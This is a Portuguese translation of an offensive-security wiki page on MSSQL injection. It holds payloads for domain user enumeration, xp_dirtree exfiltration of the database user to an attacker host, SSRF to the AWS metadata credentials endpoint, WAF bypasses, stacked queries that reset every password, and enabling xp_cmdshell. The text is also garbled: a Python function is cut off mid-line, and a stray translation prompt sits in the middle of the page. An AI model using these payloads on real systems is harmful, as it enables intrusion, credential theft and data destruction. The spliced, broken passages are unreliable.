# Injeção MSSQL
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## Enumeração do Active Directory
Pode ser possível **enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome de domínio atual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMÍNIO\Administrador'))`**: Se você conhece o nome do domínio (_DOMÍNIO_ neste exemplo), esta função retornará o **SID do usuário Administrador** no formato hexadecimal. Isso parecerá `0x01050000000[...]0000f401`, observe como os **últimos 4 bytes** são o número **500** no formato **big endian**, que é o **ID comum do usuário administrador**.\
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes, exceto os últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('
O método mais comum para fazer uma chamada de rede que você encontrará usando o MSSQL é o uso do Stored Procedure `xp_dirtree`, que estranhamente não é documentado pela Microsoft, o que fez com que ele fosse [documentado por outras pessoas na Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método tem sido usado em [vários exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts de [exfiltração de dados fora de banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) na Internet.
Essencialmente,
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Assim como o `LOAD_FILE` do MySQL, você pode usar o `xp_dirtree` para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) em execução em um Windows Server 2016 Datacenter na configuração padrão.
Existem outros procedimentos armazenados, como o `master..xp_fileexist` ou `xp_subdirs`, que podem ser usados para resultados semelhantes.
### `xp_cmdshell`
Obviamente, você também pode usar o `xp_cmdshell` para executar algo que acione um SSRF. Para mais informações, leia a seção relevante na página:
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
### Função Definida pelo Usuário MSSQL - SQLHttp
É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário em Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la no MSSQL para funções personalizadas. No entanto, isso requer acesso `dbo`, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como `sa` ou uma função de Administrador.
[Este repositório do Github possui o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações GET HTTP de dentro do MSSQL.
[O código `http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) conforme especificado.
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 da montagem à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Uma vez que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
## **Exploração rápida: Recuperar uma tabela inteira em uma única consulta**
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade, FOR JSON supera isso.
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
As vetores baseados em erros precisam de um alias ou um nome, pois a saída de expressões sem eles não pode ser formatada como JSON.
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
## **Recuperando a consulta atual**
A consulta SQL atual sendo executada pode ser recuperada do acesso `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**Permissões:** Se o usuário tiver permissão VIEW SERVER STATE no servidor, o usuário verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **Pequenos truques para contornar o WAF**
Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Notação científica (0e) e notação hexadecimal (0x) para ofuscar UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N separador entre SELECT e uma coluna descartável:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### Bypassando WAF com consultas empilhadas não convencionais
De acordo com [**este post de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), é possível empilhar consultas no MSSQL sem usar ";":
Portanto, por exemplo, várias consultas como:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo pentesting-web/sql-injection/mssql-injection.md. Traduza o texto relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe de markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags de markdown. Também não adicione nada além da tradução e da sintaxe de markdown.
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Portanto, poderia ser possível contornar diferentes WAFs que não consideram essa forma de empilhamento de consultas. Por exemplo:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## Referências
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
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